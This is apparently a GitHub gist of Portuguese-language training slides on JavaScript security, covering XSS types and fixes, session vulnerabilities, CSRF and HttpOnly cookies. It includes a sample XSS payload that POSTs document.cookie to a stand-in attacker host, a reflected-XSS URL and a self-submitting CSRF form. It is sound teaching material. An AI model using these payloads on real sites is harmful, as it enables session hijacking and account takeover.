Skip to content

Instantly share code, notes, and snippets.

@fguisso
Created July 9, 2023 20:08
Show Gist options
  • Save fguisso/7fc50a4060869667f0e69005f2d89bed to your computer and use it in GitHub Desktop.
Save fguisso/7fc50a4060869667f0e69005f2d89bed to your computer and use it in GitHub Desktop.
slides

Guisso? Que isso?

Application Security Engineer @ Globo.

  • 📝 Pasteleiro de agencia - Wordpress, PHP, cPanel e cafézinhos
  • 🧑‍💻 Dev/Bitcoin - Gateway de pagamento pague.nu
  • 🎨 Fullstack Javascripto - MEAN, MEVN, NodeBots, reveal.sj/qualy/sli.dev
  • 📤 Security - Pentest, treinamento AppSec, CTF
  • 🤹 Community Manager - "Fala muito! - Titi / Softskills, comunidades
  • 🎥 Dev/Decred - Golang, React Native, Lightning Network
  • 🛠 Hobbies - hardware hacking, CTF


<style> h1 { background-color: #2B90B6; background-image: linear-gradient(85deg, #4EC5D4 15%, #146b8c 25%); background-size: 100%; -webkit-background-clip: text; -moz-background-clip: text; -webkit-text-fill-color: transparent; -moz-text-fill-color: transparent; } </style>
theme background class highlighter lineNumbers info drawings transition css
default
text-center
shiki
false
## Slidev Starter Template Presentation slides for developers. Learn more at [Sli.dev](https://sli.dev)
persist
slide-left
unocss

DevSec

Entendendo e corrigindo vulnerabilidades de Sessão e XSS

Leri go!

src: pages/funny-bio-br.md


layout: default

Visão Geral


Introdução a segurança em javascript

Javascript é a espinha dorsal de muitas aplicações web modernas, tornando a segurança em JavaScript de vital importância. Sem uma segurança robusta, aplicações estão expostas a várias ameaças, desde ataques de injeção de código até o vazamento de dados sensíveis dos usuários. Além de potenciais perdas financeiras, a falta de segurança pode danificar a reputação de uma marca e levar a implicações legais graves. Dessa forma, proteger suas aplicações JavaScript não é apenas uma boa prática de desenvolvimento, mas uma necessidade comercial e legal.


class: px-20

Notícias

CanalTech


class: px-20

Notícias

Snyk Blog


Vulnerabilidades comuns

  • 🐵: Vulnerabilidades no código-fonte
  • 🐔: Execução indesejada de script
  • 🐸: Escapando/codificando entrada do usuário
  • 🦄: Filtrando entrada
  • 🐙: Validação de entrada
  • 🐧: Validação do lado do cliente
  • 🐷: Roubando dados da sessão
  • 🐼: Induzindo usuários a realizar ações não intencionadas

XSS

As falhas de XSS ocorrem sempre que uma aplicação inclui dados não-confiáveis numa nova página web sem a validação ou filtragem apropriadas, ou quando atualiza uma página web existente com dados enviados por um utilizador através de uma API do browser que possa criar JavaScript. O XSS permite que atacantes possam executar scripts no browser da vítima, os quais podem raptar sessões do utilizador, descaraterizar sites web ou redirecionar o utilizador para sites maliciosos.

prank

 <iframe width="100%" height="166" scrolling="no"
    frameborder="no" allow="autoplay"
    src="http://ellisonleao.github.io/clumsy-bird/">
 </iframe>

get localStorage/cookie

<image src=1 href=1
    onerror="javascript:alert(localStorage[0])">
</image>

<image src=1 href=1
    onerror="
    javascript:fetch('https://maquina.atacante.com/',
        { method: 'POST',
            body: JSON.stringify({
                cookie: document.cookie
            })
        });
">
</image>
<style> h1 { background-color: #2B90B6; background-image: linear-gradient(45deg, #4EC5D4 10%, #146b8c 20%); background-size: 100%; -webkit-background-clip: text; -moz-background-clip: text; -webkit-text-fill-color: transparent; -moz-text-fill-color: transparent; } </style>

Tipos de XSS

Reflected XSS Esse é o tipo mais comum de ataque XSS. Nele, o script malicioso é parte da solicitação HTTP feita ao site. Quando a página web responde, ela inclui esse script na resposta. Um exemplo comum é o script inserido na URL da página.

Stored XSS Também conhecido como XSS persistente, é o tipo mais perigoso de ataque XSS. Nesse caso, o script malicioso é enviado para o servidor (geralmente através de um formulário) e armazenado lá. Quando outras páginas recuperam e exibem esse dado, o script é enviado ao navegador do usuário.

DOM XSS Neste tipo, o script malicioso manipula o Document Object Model (DOM) de uma página web. Acontece quando um script client-side escreve dados fornecidos pelo usuário no DOM.

<style> strong { background-image: linear-gradient(45deg, #4EC5D4 30%, #146b8c 40%); background-size: 100%; -webkit-background-clip: text; -moz-background-clip: text; -webkit-text-fill-color: transparent; -moz-text-fill-color: transparent; } </style>

Correção de XSS

https://site-vulneravel/?search=<script>document.cookie</script>

Vulnerável

<html>
  <body>
    <script>
        let params = new URLSearchParams(location.search);
        let search = params.get('search');
        document.write('Resultados para: ' + search);
    </script>
  </body>
</html>

Corrigido

<html>
  <body>
    <script>
        let params = new URLSearchParams(location.search);
        let search = params.get('search');
        let pTag = document.createElement("p");
        pTag.innerText = 'Resultados para: ' + search;
        document.body.appendChild(pTag);
    </script>
  </body>
</html>

Vulnerabilidades de Sessão

Uma vulnerabilidade de sessão ocorre quando um atacante é capaz de sequestrar a sessão do usuário para assumir a identidade do usuário, explorando as falhas na forma como a aplicação gerencia as sessões.

  • 🐛 Ataques XSS (Cross-Site Scripting)
  • 🔮 Previsibilidade do ID de Sessão
  • 📡 Sniffing de Rede
  • 🎭 Ataque Man-in-the-Middle (MitM)
  • 🎣 Ataques de Fixação de Sessão
  • 📨 Ataques CSRF (Cross-Site Request Forgery)
---

CSRF

CSRF PortSwigger Academy


CSRF no código

<html>
  <body>
    <form
        action="https://vulnerable-website.com/email/change"
        method="POST">
        <input
            type="hidden"
            name="email"
            value="pwned@evil-user.net"
        />
    </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>

NGINX

location / {
    proxy_cookie_path / "/; HttpOnly";
    ...
}

Node

res.cookie(
    'your_cookie_name',
    'your_value',
    { httpOnly: true }
);

Correção de vulnerabilidades de Sessão

  • ⏳ Renovação do ID de Sessão
  • 📍 Bloqueio de Endereço IP
  • 🕵️ Verificação do Agente do Usuário
  • 🛡️ Uso de Tokens CSRF
  • ⏲️ Limitação de Tempo de Vida da Sessão
  • 🔑 Logout Efetivo
  • 🖼️ Proteção contra Clickjacking
  • 🍪 Uso de Cookies HTTP-Only

O que isso previne?

  • Furto de identidade do usuário
  • Acesso não autorizado a dados confidenciais
  • Perda de controle sobre a conta do usuário

Obrigado!!!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment